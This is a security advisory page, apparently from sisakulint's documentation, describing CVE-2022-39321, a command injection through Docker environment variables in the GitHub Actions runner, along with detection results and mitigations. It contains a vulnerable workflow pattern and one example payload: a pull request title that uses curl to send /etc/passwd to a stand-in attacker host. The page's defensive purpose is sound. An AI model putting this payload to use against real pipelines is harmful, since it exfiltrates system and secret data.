GHSA-2c6m-6gqh-6qg3 #
Summary #
| Field | Value |
|---|---|
| CVE | CVE-2022-39321 |
| Affected Action | actions/runner |
| Severity | High (CVSS 8.8) |
| Vulnerability Type | OS Command Injection via Docker Environment Variable Escaping (CWE-78) |
| Published | October 24, 2022 |
Vulnerability Description #
The GitHub Actions runner contains a command injection vulnerability in how it encodes environment variables when invoking Docker CLI commands. According to the advisory: “A bug in the logic for how the environment is encoded into these docker commands was discovered that allows an input to escape the environment variable and modify that docker command invocation directly.”
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Affected Versions:
= 2.294.0, < 2.296.1
= 2.290.0, < 2.293.1
= 2.286.0, < 2.289.4
= 2.284.0, < 2.285.2
- < 2.283.4
Patched Versions:
- 2.296.2
- 2.293.1
- 2.289.4
- 2.285.2
- 2.283.4
The flaw affects workflows that combine container actions, job containers, or service containers “alongside untrusted user inputs in environment variables.” Attackers could escape the environment variable context and inject additional Docker command parameters.
The runner internally constructs docker commands that include environment variables, and insufficient escaping allows shell command substitution to occur. For example:
# Runner constructs something like:
docker run -e "USER_INPUT=$(malicious command)" image:tag
This is particularly dangerous in pull_request_target workflows where untrusted PR data (title, body, branch names) can be controlled by attackers.
Vulnerable Pattern #
jobs:
vulnerable:
runs-on: ubuntu-latest
container:
image: node:18
env:
# Untrusted input in container environment
USER_INPUT: ${{ github.event.pull_request.title }}
steps:
- name: Process user input in container
run: echo "Processing: $USER_INPUT"
An attacker could create a PR with title: Test PR $(curl attacker.com/exfil?data=$(cat /etc/passwd | base64))
The command injection would execute during container startup, before any workflow steps run.
Detection in sisakulint #
Detection Result #
script/actions/advisory/GHSA-2c6m-6gqh-6qg3-vulnerable.yaml:9:3: dangerous trigger (critical): workflow uses privileged trigger(s) [pull_request_target] without any security mitigations. These triggers grant write access and secrets access to potentially untrusted code. Add at least one mitigation: restrict permissions (permissions: read-all or permissions: {}), use environment protection, add label conditions, or check github.actor. See https://sisaku-security.github.io/lint/docs/rules/dangeroustriggersrulecritical/ [dangerous-triggers-critical]
script/actions/advisory/GHSA-2c6m-6gqh-6qg3-vulnerable.yaml:17:14: container image 'node:18' in container of job 'vulnerable' is using a tag without SHA256 digest. Tags are mutable and can be overwritten. Consider pinning with SHA256 digest (e.g., node:18@sha256:...). [unpinned-images]
Analysis #
| Expected | Detected | Rule |
|---|---|---|
| Container environment variable injection | Partial | dangerous-triggers-critical, unpinned-images |
sisakulint partially detected this vulnerability:
Detected Items:
- dangerous-triggers-critical: Detected that the
pull_request_targettrigger is used without appropriate security mitigations - unpinned-images: Detected that container images are not pinned with SHA256 digests
Items Not Detected:
- Container-specific environment variable injection (the
container.envfield) - The specific docker command escaping issue
- The distinction between step-level
env(safer) and job-levelcontainer.env(vulnerable)
Note: A dedicated container-env-injection rule was previously implemented but has been reverted. The original Docker CLI -e flag injection (CVE-2022-39321) was patched in actions/runner v2.299.1, and the remaining environment variable pollution risk is covered by the existing dangerous-triggers-critical rule which flags privileged triggers without mitigations.
Detection Category: Partially detectable (the environment variable injection category matches, but container-specific patterns are not covered)
Mitigation #
Primary Solution: Update to Patched Runner Versions
The patches have been deployed to GitHub.com. For self-hosted runners, GHES, and GHAE:
- GitHub-hosted runners: Already patched automatically
- GitHub Enterprise Server (GHES): Hotfixes available for administrators
- GitHub AE (GHAE): Hotfixes available for administrators
- Self-hosted runners: Update to one of the patched versions:
- 2.296.2
- 2.293.1
- 2.289.4
- 2.285.2
- 2.283.4
Workaround (Until Patched):
The advisory recommends: “You may want to consider removing any container actions, job containers, or service containers from your jobs until you are able to upgrade your runner versions.”
Additional Mitigations:
Avoid container env with untrusted input: Don’t pass untrusted input directly to
container.env# Bad container: env: USER_DATA: ${{ github.event.pull_request.title }} # Good - use step-level env instead steps: - env: USER_DATA: ${{ github.event.pull_request.title }} run: echo "$USER_DATA"Sanitize input: If you must use container env, sanitize the input first:
steps: - id: sanitize run: echo "safe_title=$(echo '${{ github.event.pull_request.title }}' | tr -d '\n' | sed 's/[^a-zA-Z0-9 ]//g')" >> $GITHUB_OUTPUT - uses: docker://myimage env: TITLE: ${{ steps.sanitize.outputs.safe_title }}Use GitHub-hosted runners: The impact is more severe on self-hosted runners where container breakout could affect the host system
Technical Fix Details #
Patched Versions Fixed the Docker Command Encoding Bug
The fix addresses the environment variable escaping flaw in the Docker CLI invocation logic. The patches ensure that environment variables passed to container jobs are properly escaped to prevent command injection.
Pull Requests:
The specific implementation details of the fix ensure that special characters in environment variables (such as $, backticks, and command substitution syntax) are properly escaped before being passed to Docker commands.